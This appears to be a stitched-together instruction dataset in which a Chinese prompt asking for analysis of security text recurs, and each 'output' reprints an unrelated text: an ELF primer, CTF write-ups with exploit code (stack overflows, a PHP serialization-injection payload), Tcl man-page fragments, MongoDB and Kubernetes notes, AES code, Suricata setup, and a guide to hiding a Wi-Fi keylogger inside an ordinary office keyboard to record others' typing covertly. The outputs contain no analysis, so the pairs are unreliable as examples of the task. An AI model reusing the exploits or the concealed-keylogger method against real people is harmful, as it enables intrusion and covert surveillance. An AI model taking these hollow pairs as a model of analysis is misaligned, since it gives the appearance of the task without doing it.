- 共享目标文件（Shared Object File），包含代码和数据，这种文件是我们所称的库文件，一般以 `.so` 结尾。一般情况下，它有以下两种使用情景：
	- 链接器（Link eDitor, ld）可能会处理它和其它可重定位文件以及共享目标文件，生成另外一个目标文件。
	- 动态链接器（Dynamic Linker）将它与可执行文件以及其它共享目标组合在一起生成进程镜像。
> 关于Link eDitor的命名，https://en.wikipedia.org/wiki/GNU_linker
目标文件由汇编器和链接器创建，是文本程序的二进制形式，可以直接在处理器上运行。那些需要虚拟机才能够执行的程序(Java)不属于这一范围。
这里我们主要关注于 ELF 的文件格式。
### ELF 文件格式
目标文件既会参与程序链接又会参与程序执行。出于方便性和效率考虑，根据过程的不同，目标文件格式提供了其内容的两种并行视图
首先，我们来**关注一下链接视图**。
文件开始处是 ELF 头部（ **ELF  Header**），它给出了整个文件的组织情况。
如果程序头部表（Program Header Table）存在的话，它会告诉系统如何创建进程。用于生成进程的目标文件必须具有程序头部表，但是重定位文件不需要这个表。
节区部分包含在链接视图中要使用的大部分信息：指令、数据、符号表、重定位信息等等。
节区头部表（Section Header Table）包含了描述文件节区的信息，每个节区在表中都有一个表项，会给出节区名称、节区大小等信息。用于链接的目标文件必须有节区头部表，其它目标文件则无所谓，可以有，也可以没有。
对于**执行视图**来说，其主要的不同点在于没有了section，而有了多个segment。其实这里的 segment 大都是来源于链接视图中的 section。
注意:
> 尽管图中是按照 ELF 头，程序头部表，节区，节区头部表的顺序排列的。但实际上除了 ELF  头部表以外，其它部分都没有严格的顺序。
### ELF 文件数据形式
ELF 文件格式支持 8 位/32 位体系结构。当然，这种格式是可以扩展的，也可以支持更小的或者更大位数的处理器架构。因此，目标文件会包含一些控制数据，这部分数据表明了目标文件所使用的架构，这也使得它可以被通用的方式来识别和解释。目标文件中的其它数据采用目的处理器的格式进行编码，与在何种机器上创建没有关系。这里其实想表明的意思目标文件可以进行交叉编译，我们可以在 x86 平台生成 arm 平台的可执行代码。
目标文件中的所有数据结构都遵从“自然”大小和对齐规则。如下
| 名称            |  长度  | 对齐方式 |   用途    |
| :------------ | :--: | :--: | :-----: |
| Elf32_Addr    |  4   |  4   | 无符号程序地址 |
| Elf32_Half    |  2   |  2   | 无符号半整型  |
| Elf32_Off     |  4   |  4   | 无符号文件偏移 |
| Elf32_Sword   |  4   |  4   | 有符号大整型  |
| Elf32_Word    |  4   |  4   | 无符号大整型  |
| unsigned char |  1   |  1   | 无符号小整型  |
如果必要，数据结构可以包含显式地补齐来确保 4 字节对象按 4 字节对齐，强制数据结构的大小是 4 的整数倍等等。数据同样适用是对齐的。因此，包含一个 Elf32_Addr 类型成员的结构体会在文件中的 4 字节边界处对齐。
为了具有可移植性，ELF 文件不使用位域。
### ELF Header介绍
ELF Header 描述了 ELF 文件的概要信息，利用这个数据结构可以索引到 ELF 文件的全部信息，数据...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

## Asian Cheetah (Misc, 50p)
    We have hidden a message in png file using jar file. Flag is hidden message. Flag is in this format:
    SharifCTF{flag}
    Download cheetah.tar.gz
###ENG
[PL](#pl-version)
In this task we had an image and a Java program used to hide flag in it. Decompiling the program allows us to notice
that least significant bits are used to hide the message. We can easliy get the flag using the following script:
```
from PIL import Image
im=Image.open("AsianCheetah1.png")
l=list(im.getdata())
b=[]
for x in l:
    b.append(x[2]&1)
s=[]
for i in range(100):
    c=0
    for j in range(8):
        c*=2
        c+=b[i*8+j]
    s.append(chr(c))
print repr("".join(s))
```
###PL version
W zadaniu dostaliśmy obrazek i program w Javie, którego użyto do ukrycia w nim flagi. Dekompilacja programu pozwala
nam dostrzec fakt użycia najmłodszych bitów do zakodowania wiadomości. Flagę możemy otrzymać używając tego skryptu:
```
from PIL import Image
im=Image.open("AsianCheetah1.png")
l=list(im.getdata())
b=[]
for x in l:
    b.append(x[2]&1)
s=[]
for i in range(100):
    c=0
    for j in range(8):
        c*=2
        c+=b[i*8+j]
    s.append(chr(c))
print repr("".join(s))
```


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

---
title: 关于数据驱动事件调查的思考
tags:
- 安全之路
- 安全综合
- 安全数据分析
- 事件调查
- 数据驱动
---
# 关于数据驱动事件调查的思考
*基于事件调查的分析能力提升*
在实际的情况下，各种安全设备、系统会产生海量的数据。对于企业来说，很重要的一件事情，就是要从这些疑似的安全告警中，根据一些模型和算法提取有价值的安全事件。
众所周知，传统的安全设备，往往都是以特征检查为主，模型检查的能力受限（短时间窗口），也比较弱。那么，在这个基础之上，我们需要做的一件事，就可以是写好确定的分析模型，这个分析模型需要结合安全方面的专家经验，也需要结合数据分析、机器学习学习技术（比如异常检测）。
模型可以帮助我们以一个效率更高的方式对告警数据做一个初步的判断，把人工经验转化为了机器脚本去执行。但模型偏向于的单个能力的检查。比如模型能检查钓鱼邮件行为，但却不能梳理出一个APT事件。因为对于模型，我们的定义是让其做好特征检查做不到的事情，但没有要求它能到一个完整事件的梳理。
此时我们就可以引入分析能力这个概念。分析能力所涵盖的事情，是基于事件而设计的，而不是单个能力的检查。在基于数据驱动的应急响应过程中，分析师所需要做的，简单来说就是从数据（告警、流量等）中找到一个真实的入侵事件，而事件包含的内容则可以参考3W1H（Who When What How）。而这个找3W1H的过程，我们在经过特征、模型这两个阶段后，已经能对单方面攻击行为有一个初步的筛选了，比如某某IP在某某时间，对某某资产进行了XXX攻击。也就是，经过了特征和模型两个阶段，我们对3W初步进行了解决。但还剩下1H，攻击者是如何做到这个攻击的，并且要对3W做更精准的研判。
此时，我们的分析平台就可以来亮相了。分析平台单从技术上来说，它应该具备上面我们所受的分析能力，并且这是它的核心。同时，作为一个与用户直接接触的平台，它还承担着业务能力、管理能力等其他产品方向的功能。
那么，分析平台的分析能力如何体现呢？
我们先来看一个人类分析师需要做哪些事情。首先，他需要对入侵事件进行调查，这是首要的。入侵调查后，我们可以得出一个围绕3W1H的报告。然后，他需要基于这个事件做一个风险点识别（从更大的角度，哪里出的问题体现了系统的哪个方面有问题），做一个风险处置（如何让这个风险点不再造成危害）。
回到我们刚刚到问题，分析平台的分析能力，应该如何区别于特征和模型呢？对应上面对人类分析师所做之事的简单概括，我们可以知道，分析能力这项核心能力的体现，是要在一个更大的层面，即不再局限于某个事件，而是把多个事件整合起来，产出**Knowledge**。这个Knowledge可以由很多形式展现，以下列举几个我个人认为的：
-   同源分析
-   事件归并
-   攻击评估
-   攻击者画像
    -   攻击者能力
    -   攻击者行为
-   TTPs（技战术组合）提炼
-   威胁趋势、预测
-   威胁狩猎
所以，我们基于事件调查所进行的分析能力提升，总体来说是这三个阶段：特征——模型——分析。目前，特征阶段已经比较成熟，但覆盖率和精准率还有待提升。模型阶段，目前比较好的方案是结合安全方面专家能力和机器学习算法，在某个攻击行为上，检测的覆盖率和精准率已经挺不错了，但因为攻击、漏洞的千变万化，以及各种组合和绕过，网络环境和生产环境的错综复杂，使得复杂情况下的检测情况不是很完美。而分析阶段，目前不管是商业化的还是开源的，还是学术届的研究，只能说是一个对分析师的辅助，大多是工具性质，只能进行半自动化的利用。
未来就在眼前，把握机会。


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

version: '2'
services:
  curl:
    image: vulhub/openssl:1.1.1m-with-curl
    command: sleep infinity


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# HITCON 2017 Quals
Team: nazywam, ppr, msm, c7f.m0d3, akrasuski1, rev, shalom
### Table of contents
* [Secret server (crypto)](secret_server)
* [Data & Mining (forensics)](data_mining)


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

'\"
'\" Copyright (c) 1993 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: llength.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\"	Start paragraph describing an argument to a library procedure.
'\"	type is type of argument (int, etc.), in/out is either "in", "out",
'\"	or "in/out" to describe whether procedure reads or modifies arg,
'\"	and indent is equivalent to second arg of .IP (shouldn't ever be
'\"	needed;  use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\"	Give maximum sizes of arguments for setting tab stops.  Type and
'\"	name are examples of largest possible arguments that will be passed
'\"	to .AP later.  If args are omitted, default tab stops are used.
'\"
'\" .BS
'\"	Start box enclosure.  From here until next .BE, everything will be
'\"	enclosed in one large box.
'\"
'\" .BE
'\"	End of box enclosure.
'\"
'\" .CS
'\"	Begin code excerpt.
'\"
'\" .CE
'\"	End code excerpt.
'\"
'\" .VS ?version? ?br?
'\"	Begin vertical sidebar, for use in marking newly-changed parts
'\"	of man pages.  The first argument is ignored and used for recording
'\"	the version when the .VS was added, so that the sidebars can be
'\"	found and removed when they reach a certain age.  If another argument
'\"	is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\"	End of vertical sidebar.
'\"
'\" .DS
'\"	Begin an indented unfilled display.
'\"
'\" .DE
'\"	End of indented unfilled display.
'\"
'\" .SO
'\"	Start of list of standard options for a Tk widget.  The
'\"	options follow on successive lines, in four columns separated
'\"	by tabs.
'\"
'\" .SE
'\"	End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbN...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# leap-frog
Binary Exploitation, 300 points
## Description:
> Can you jump your way to win in the following program and get the flag?
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>
#define FLAG_SIZE 64
bool win1 = false;
bool win2 = false;
bool win3 = false;
void leapA() {
  win1 = true;
}
void leap2(unsigned int arg_check) {
  if (win3 && arg_check == 0xDEADBEEF) {
    win2 = true;
  }
  else if (win3) {
    printf("Wrong Argument. Try Again.\n");
  }
  else {
    printf("Nope. Try a little bit harder.\n");
  }
}
void leap3() {
  if (win1 && !win1) {
    win3 = true;
  }
  else {
    printf("Nope. Try a little bit harder.\n");
  }
}
void display_flag() {
  char flag[FLAG_SIZE];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("'flag.txt' missing in the current directory!\n");
    exit(0);
  }
  fgets(flag, sizeof(flag), file);
  if (win1 && win2 && win3) {
    printf("%s", flag);
    return;
  }
  else if (win1 || win3) {
    printf("Nice Try! You're Getting There!\n");
  }
  else {
    printf("You won't get the flag that easy..\n");
  }
}
void vuln() {
  char buf[16];
  printf("Enter your input> ");
  return gets(buf);
}
int main(int argc, char **argv){
  setvbuf(stdout, NULL, _IONBF, 0);
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
}
```
Note: Initially, the binary posted with the challenge had PIE enabled. After a while, the binary was replaced with a version with PIE disabled, and that's the version used for this solution.
## Solution:
We need to take over the stack using the buffer overflow in `vuln`, and use it to direct the flow execution: We must set `win1`, `win2` and `win3` to `true`, and finally call `display_flag` in order to get the flag.
This challenge is similar to last year's [rop chain](/2018_picoCTF/rop%20chain.md), however the...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

---
title: K8s 介绍
---
<center><h1>K8s 介绍</h1></center>
---
Kubernetes 又称 k8s，是 Google 在 2014 年开源的一个用来管理容器的平台，以下是 k8s 架构图。
   <img width="1000" src="/img/1649993172.png">
k8s 主要由以下核心组件组成：
- etcd 保存了整个集群的状态
- API Server 提供了资源操作的唯一入口，并提供认证、授权、访问控制、API 注册和发现等机制
- Controller Manager 负责维护集群的状态，比如故障检测、自动扩展、滚动更新等
- Scheduler 负责资源的调度，按照预定的调度策略将 Pod 调度到相应的机器上
- Kubelet 负责维护容器的生命周期，同时也负责Volume（CVI）和网络（CNI）的管理
- Container Runtime 负责镜像管理以及 Pod 和容器的真正运行（CRI）
- Kube-proxy 负责为 Service 提供 Cluster 内部的服务发现和负载均衡
<Vssue />
<script>
export default {
    mounted () {
      this.$page.lastUpdated = "2022年4月15日"
    }
  }
</script>


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

---
title: MongoDB
date: 2023-04-05
background: bg-gradient-to-r from-green-900 via-green-600 to-green-400 hover:from-green-900 hover:via-green-700 hover:to-green-500
tags:
  - NoSQL
  - DB
categories:
  - Database
intro: The MongoDB cheat sheet provides you with the most commonly used MongoDB commands and queries for your reference. the cheatsheet is from mongodb developers website
plugins:
  - tooltip
  - copyCode
---
## Getting Started {.cols-2}
### Connect MongoDB Shell
```mongosh
mongo # connects to mongodb://127.0.0.1:27017 by default
```
```mongosh
mongo --host <host> --port <port> -u <user> -p <pwd> # omit the password if you want a prompt
```
```mongosh
mongo "mongodb://192.168.1.1:27017"
```
```mongosh
mongo "mongodb+srv://cluster-name.abcde.mongodb.net/<dbname>" --username <username> # MongoDB Atlas
```
### Helpers
show dbs :
```mongosh
db // prints the current database
```
Switch database :
```mongosh
use <database_name>
```
Show collections :
```mongosh
show collections
```
Run JavaScript file :
```mongosh
load("myScript.js")
```
---
## Crud
### Create
```mongosh
db.coll.insertOne({name: "Max"})
db.coll.insert([{name: "Max"}, {name:"Alex"}]) // ordered bulk insert
db.coll.insert([{name: "Max"}, {name:"Alex"}], {ordered: false}) // unordered bulk insert
db.coll.insert({date: ISODate()})
db.coll.insert({name: "Max"}, {"writeConcern": {"w": "majority", "wtimeout": 5000}})
```
### Delete
```mongosh
db.coll.remove({name: "Max"})
db.coll.remove({name: "Max"}, {justOne: true})
db.coll.remove({}) // WARNING! Deletes all the docs but not the collection itself and its index definitions
db.coll.remove({name: "Max"}, {"writeConcern": {"w": "majority", "wtimeout": 5000}})
db.coll.findOneAndDelete({"name": "Max"})
```
### Update
```mongosh
db.coll.update({"_id": 1}, {"year": 2016}) // WARNING! Replaces the entire document
db.coll.update({"_id": 1}, {$set: {"year": 2016, name: "Max"}})
db.coll.update({"_id": 1}, {$unset: {"year": 1}})
db.coll.update({"_id": 1}, {$rena...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# ---------------------------------------------------
# Copyright (c) 2013 Pablo Caro. All Rights Reserved.
# Pablo Caro <me@pcaro.es> - http://pcaro.es/
# AES.py
# ---------------------------------------------------

import sys
import os.path
from AES_base import sbox, isbox, gfp2, gfp3, gfp9, gfp11, gfp13, gfp14, Rcon

if sys.version_info[0] == 3:
    raw_input = input

def RotWord(word):
    return word[1:] + word[0:1]

def SubWord(word):
    return [sbox[byte] for byte in word]

def SubBytes(state):
    return [[sbox[byte] for byte in word] for word in state]

def InvSubBytes(state):
    return [[isbox[byte] for byte in word] for word in state]

def ShiftRows(state):
    Nb = len(state)
    n = [word[:] for word in state]

    for i in range(Nb):
        for j in range(4):
            n[i][j] = state[(i+j) % Nb][j]

    return n

def InvShiftRows(state):
    Nb = len(state)
    n = [word[:] for word in state]

    for i in range(Nb):
        for j in range(4):
            n[i][j] = state[(i-j) % Nb][j]

    return n

def MixColumns(state):
    Nb = len(state)
    n = [word[:] for word in state]

    for i in range(Nb):
        n[i][0] = (gfp2[state[i][0]] ^ gfp3[state[i][1]]
                   ^ state[i][2] ^ state[i][3])
        n[i][1] = (state[i][0] ^ gfp2[state[i][1]]
                   ^ gfp3[state[i][2]] ^ state[i][3])
        n[i][2] = (state[i][0] ^ state[i][1]
                   ^ gfp2[state[i][2]] ^ gfp3[state[i][3]])
        n[i][3] = (gfp3[state[i][0]] ^ state[i][1]
                   ^ state[i][2] ^ gfp2[state[i][3]])

    return n

def InvMixColumns(state):
    Nb = len(state)
    n = [word[:] for word in state]

    for i in range(Nb):
        n[i][0] = (gfp14[state[i][0]] ^ gfp11[state[i][1]]
                   ^ gfp13[state[i][2]] ^ gfp9[state[i][3]])
        n[i][1] = (gfp9[state[i][0]] ^ gfp14[state[i][1]]
                   ^ gfp11[state[i][2]] ^ gfp13[state[i][3]])
        n[i][2] = (gfp...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Suricata

---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**官网**
- https://suricata-ids.org/
**项目地址**
- https://github.com/OISF/suricata
**简介**
Suricata 是由 OISF（开发信息安全基金会）开发，它也是基于签名，但是集成了创新的技术。该引擎嵌入了一个 HTTP 规范化器和分析器（HTP 库），可提供非常先进的 HTTP 流处理，从而能够在 OSI 模型的第七层（应用层）上解析流量。
Suircata 是一款支持 IDS 和 IPS 的多线程入侵检测系统，与传统 Snort 相比，Suircata 的多线程和模块化设计上使其在效率和性能上超过了原有 Snort，它将 CPU 密集型的深度包检测工作并行地分配给多个并发任务来完成。这样的并行检测可以充分利用多核硬件的优势来提升入侵检测系统的吞吐量，在数据包的深度检测上效果优越。并且 Suircata 可以兼容现有的 Snort 规则签名，还增加了对 ipv6 的支持，已经逐渐成为传统 Snort 入侵检测系统的代替方案。
**相关文章**
- [Suricata工控规则研究](https://www.freebuf.com/articles/ics-articles/237420.html)
- [Suricata IDS 入门 — 规则详解](https://www.secpulse.com/archives/71603.html)
- [使用Suricata和ELK进行流量检测](https://zhuanlan.zhihu.com/p/64742715)
- [Suricata规则介绍、以及使用suricata-update做规则管理](https://zhuanlan.zhihu.com/p/36340468)
- [suricata下的挖矿行为检测](https://www.freebuf.com/articles/network/195171.html)
- [Suricata + Lua实现本地情报对接](https://www.freebuf.com/sectool/218951.html)
**架构**
Suricata 有三种运行模式，分别为 single，workers，autofp。官方推荐性能最佳的运行模式为 workers 模式。
- single 模式：只有一个包处理线程，一般在开发模式下使用。
- workers 模式：多个包处理线程，每个线程包含完整的处理逻辑。
- autofp 模式：有多个包捕获线程，多个包处理线程。一般适用于 nfqueue 场景，从多个 queue 中消费流量来处理。
报文检测系统通常包含四大部分，报文获取、报文解码、报文检测、日志记录；Suricata 不同的功能安装模块划分，一个模块的输出是另一个模块的输入。
---
## 安装部署
**Ubuntu 下安装**
```bash
add-apt-repository ppa:oisf/suricata-stable
apt update
apt install -y suricata jq
apt install -y suricata-update
```
### 基础使用
```bash
suricata-update # 更新规则
suricata -T     # 测试运行
suricata -i ens33 -c /etc/suricata/suricata.yaml -vvv       # 启动运行
# 注: 这里 -vvv 参数建议加上. 如果你的Lua脚本有一些问题, 如果加上了这个参数, 就可以通过 suricata.log 日志看出。
suricata -r <path>  -c /etc/suricata/suricata.yaml -vvv     # 在PCAP脱机模式（重放模式）下运行，从PCAP文件读取文件。如果<path>指定了一个目录，则该目录中的所有文件将按修改时间的顺序进行处理，以保持文件之间的流状态。
```
### 配置文件
`/etc/suricata/` 目录下有 4 个配置文件和一个文件夹, 作用分别是:
- classification.config : 定义了各种流量攻击类型和优先级，类似拒绝服务攻击和 web 应用攻击等
- reference.c...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

.TH ComboBox 3tk "tcllib - BWidget"
.SH NAME
.B ComboBox - ComboBox 组件
.SH 创建 CREATION
.B ComboBox pathName ?option value...?
.SH 描述 DESCRIPTION
ComboBox 组件使用户能在用 values 选项给出的一个列表中选择一个值。通过按 ArrowButton，或在 ComboBox 的 editable 的值是 false 的时候在录入栏中点击，弹出可能值的列表。
如果 ComboBox 的 editable 的值是 true 并且录入栏获得了聚焦，用户可以按上下箭头键来修改它的值。如果当前值精确的匹配在列表中的一个值，则显示列表中的前一个(向上箭头键)或下一个(向下箭头键)值。如果当前值匹配在列表中的一个值的开始，则显示这个值。如果当前值不匹配任何东西，则显示第一个值。
.SH 组件特有选项 WIDGET-SPECIFIC OPTIONS
.TP
-height
为个这个窗口指定想要的高度，以行为单位(in lines)。如果它小于等于零，则这个窗口要求的高度只是足够大得装下在列表框中所有的元素。
.TP
-modifycmd
指定在用户通过在列表框中选择一个值或按上下箭头键来修改 ComboBox 框的值的时候调用的一个 Tcl 命令。
.TP
-postcommand
指定在映射 ComboBox 的列表框之前调用的一个 Tcl 命令。
.TP
-values
指定在 ComboBox 的列表框中显示的值。
.SH 组件命令
.TP
pathName bind ?arg...?
在录入组件上设置绑定。
.TP
pathName cget option
返回用 option 给出的配置选项的当前值。Option 可以是能被建立命令接受的任何值。
.TP
pathName configure ?option? ?value option value ...?
查询或修改这个组件的配置选项。如果未指定 option ，则返回描述 pathName 的所有可获得的选项的一个列表。如果指定了不带 value 的 option，则这个命令返回描述这个指名的 option 的一个列表(这个列表与未指定 option 所返回的值的相应的子集是一样的)。如果指定了一个或多个选项-值 对，则这个命令把给定的组件选项修改为给定的值；在这种情况下这个命令返回一个空串。Option 可以是能被建立命令接受的任何值。只读选项不可修改。
.TP
pathName getvalue
返回 ComboBox 的当前文本在值的列表中的索引，如果它不匹配任何值则返回 -1。
.TP
pathName setvalue index
把 ComboBox t的文本设置成用在值的列表中的索引指示的值。index 可以被指定为任何下列形式:
last
指定值的列表的最后一个元素。
first
指定值的列表的第一个元素。
next
指定值的列表的当前元素(就是 getvalue 返回的那个)的下一个元素。
previous
指定值的列表的当前元素(就是 getvalue 返回的那个)的上一个元素。
@number
指定在值的列表的整数索引。
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/06/04
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# L1im1tL355
Binary Exploitation, 400 points
## Description:
> Just pwn this program and get a flag.
```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define FLAG_BUFFER 128
void win() {
  char buf[FLAG_BUFFER];
  FILE *f = fopen("flag.txt","r");
  fgets(buf,FLAG_BUFFER,f);
  puts(buf);
  fflush(stdout);
}
void replaceIntegerInArrayAtIndex(unsigned int *array, int index, int value) {
   array[index] = value;
}
int main(int argc, char *argv[])
{
   int index;
   int value;
   int array[666];
   puts("Input the integer value you want to put in the array\n");
   scanf("%d",&value);
   fgetc(stdin);
   puts("Input the index in which you want to put the value\n");
   scanf("%d",&index);
   replaceIntegerInArrayAtIndex(array,index,value);
   exit(0);
}
```
## Solution:
This program declares an array on the stack, then allows us to write a DWORD to any array index. If we choose an index between 0 and 666/4, we'll end up writing to the array. However, the program does not check that we enter a legal index, and the index we request to write to can be larger than 666/4 or smaller than 0.
Since the array is on the stack, the easiest way to exploit this is to provide a negative index and overwrite the function return address.
In our case, we need to provide a value of `-5` (found using trial and error). The program will execute `array[-5] = value` which is equivalent to `*(int*)(array + ( (-5)*sizeof(int) ) ) = value`. We'll provide the `value` of `win()`, which will print the flag.
```python
# First, generate a pwntools template using:
# pwn template --host 2019shell1.picoctf.com --user dvdalt --path /problems/l1im1tl355_4_b2111fe5737c985221bac06a80d6d6c7/vuln
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     i386-32-little
# RELRO:    Partial RELRO
# Stack:    No canary found
# NX:       NX enabled
# PIE:      No PIE (0x8048000)
import os
i...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# HID-KeyboardLogger
> 文章作者 [Sarah-Briggs](https://github.com/Sarah-Briggs) & [Atomic-Crash](https://github.com/Atomic-Crash) & [r0fus0d](https://github.com/No-Github)

---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**文章/教程**
- [手把手教你DIY一个硬件键盘记录器](https://www.freebuf.com/geek/241398.html)
**资源**
- [spacehuhn/wifi_keylogger](https://github.com/spacehuhn/wifi_keylogger)
---
## 简介
基于上一次Usbkeylogger(无线键盘记录器)的制作，我们发现了一些使用时的不便，或者说是还有可改进的方面(指隐蔽性)，本次就针对上一次的DIY进行升级，将其直接和使用载体——键盘合为一体。
如果说在一般环境下，在他人的键盘到主机之间插上一个形如优盘的硬件看起来很可疑，尤其是输入设备的USB接口在主机正前方或者主机的USB接口处不那么"隐蔽"的。
像在这种环境下，你拿这个奇形怪状的记录器去插别人的主机或者笔记本电脑，实在是有点明显。
考虑到并不人人都是机械键盘爱好者，大多数普通人对于电脑的键盘是不那么敏感的，所以我们干脆将无线键盘记录器植入一把普通的不能再普通的办公键盘：
质朴的商务黑，加上它天真无邪的外形，几乎和学校的微机室、单位员工电脑、甚至企业机房里的键盘都没有太大区别。
将无线键盘记录器集成在它内部线路板上，不仅可以完美将其隐藏在键盘内部，最重要的是可以利用键盘外壳作为掩护，给记录器本体加装增益天线，可大幅度加快连接速度和范围。
---
## 制作过程
### 键盘改装设计
首先是键盘主体部分，这里我们选作示例的是一款联想品牌的SK-8827办公键盘，无论颜色还是造型，它的外观和大多数普通电脑用户的键盘基本一致，让人没有任何怀疑它的理由。
将其拆开，就可以看到它的内部结构了，本设计主要做改线，所以这里的展示只需要看右上角的那块矩形电路板。
键盘记录器的输入端和输出端是USB公母头，我们可以改变其电路走线、重新焊接，使记录器整体可以藏在外壳里，并且保持键盘原来的出线。(在实际改装中，各品牌各型号的键盘内部走线都有所区别，因此这里不给出本次具体的接线电路图)
最后将整个成品成功嵌入键盘：
---
### 加装天线
在本次的改良中，天线部分是提升性能的关键；
原先的无线键盘记录器的工作有效范围大约只有3~5米，并且连接其wifi热点的速度有些堪忧(有时可以秒连，也可能卡在"正在获取IP地址"最长达1分钟)；
通过加装合适的增益天线，现已将其有效工作范围提升至50米；对，你没听错，是50米，是原先的10倍增长，而且就算拉到50米处，wifi信号才只是减少了仅一格，并且基本不影响数据接收的速度。
这里说的天线当然不是那种体型巨大的金属支架，经过我们多次拆换调试，最终找到了一款只有牙签大小且完美适配的增益天线：
这是一款FPC材质的双频软天线，生产商是广东的一家小作坊，故没有具体品名及型号。
PFC即 Flexible Printed Circuit (柔性印刷电路板)，所挑选的这一款的PFC背部有软胶，可以粘附在附近的物体上，以达到固定方向、稳固不易摇晃的辅助作用。
该天线的增益量为3~8dbi，dBi是功率增益的单位，是一个相对值，dBi的参考基准为全方向性天线(可近似理解成是一个圈状范围)，这里只叙述本天线的实际应用，不过多介绍原理等相关内容。
将天线的底座和记录器的CPU——ESP8266的外置天线端口对接:
由于记录器本身的体积不大，就算接上这款增益天线后，还是可以将它们一起轻松内置在键盘内部。
注意这里红圈处就是内嵌的天线：
最后按孔贴回导电薄膜和软胶垫，合上塑料外壳，将螺丝拧好。完美！
那么现在这把看似平平无奇、人畜无害的键盘就成了一款"杀人不见血"的HID攻击利器，任何人使用这把键盘在主机上的一切按键操作都将可以被最远在50米处的攻击者悄悄记录。
由于它本身朴素的造型，很难吸引使用者的目光，几乎无法引起目标的怀疑。
---
## 使用
- https://www.youtube.com/watch?v=Vi3oBdMW3lU


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

## Piapiapia (Web, 6p)
###ENG
[PL](#pl-version)
We get a page and its source. It looks like flag is stored inside config.php.
All inputs seem pretty well validated but 'nickname' doesn't handle arrays well.
Validation is skipped when passed as 'nickname[]='.
SQL injection will be hard, as all backslashes and "unsafe" words are removed:
```php
function filter($string) {
	$escape = array('\'', '\\\\');
	$escape = '/' . implode('|', $escape) . '/';
	$string = preg_replace($escape, '_', $string);
	$safe = array('select', 'insert', 'update', 'delete', 'where');
	$safe = '/' . implode('|', $safe) . '/i';
	return preg_replace($safe, 'hacker', $string);
}
```
The problem is, it's sanitized *after* being serialized:
```php
$user->update_profile($username, serialize($profile));
public function update_profile($username, $new_profile) {
	$username = parent::filter($username);
	$new_profile = parent::filter($new_profile);
	$where = "username = '$username'";
	return parent::update($this->table, 'profile', $new_profile, $where);
}
```
Replacing "where" with "hacker" changes the length of the string.
Allowing us to replace part of serialized object with our content.
We replace photo file name with "config.php":
```php
$payload = "\";}s:5:\"photo\";s:10:\"config.php\";}\";";
$POST['nickname[]'] = str_repeat("where", strlen($payload)).$payload;
```
After this, "config.php" is returned as base64 encoded data uri:
```php
<?php
	  $config['hostname'] = '127.0.0.1';
	  $config['username'] = '0ctf';
	  $config['password'] = 'oh-my-**-web';
	  $config['database'] = '0CTF_WEB';
	  $flag = '0ctf{fa717b49649fbb9c0dd0d1663469a871}';
?>
```
###PL version
Otrzymujemy strone PHP wraz ze źródłem. Flaga przetrzymywana jest w pliku config.php.
Wszystkie wartośći wejściowe wydają się dobrze sprawdzane.
Jednak walidacja 'nickname' nie zadziała jeżeli przekażemy go jako tablicę: `nickname[]=`
SQL injection może jednak okazać się problematyczne. Wszystkie `\\` oraz "podejżane" słowa kluczowe są usuwane:...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

'\"
'\" Copyright (c) 1993 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: set.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\"	Start paragraph describing an argument to a library procedure.
'\"	type is type of argument (int, etc.), in/out is either "in", "out",
'\"	or "in/out" to describe whether procedure reads or modifies arg,
'\"	and indent is equivalent to second arg of .IP (shouldn't ever be
'\"	needed;  use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\"	Give maximum sizes of arguments for setting tab stops.  Type and
'\"	name are examples of largest possible arguments that will be passed
'\"	to .AP later.  If args are omitted, default tab stops are used.
'\"
'\" .BS
'\"	Start box enclosure.  From here until next .BE, everything will be
'\"	enclosed in one large box.
'\"
'\" .BE
'\"	End of box enclosure.
'\"
'\" .CS
'\"	Begin code excerpt.
'\"
'\" .CE
'\"	End code excerpt.
'\"
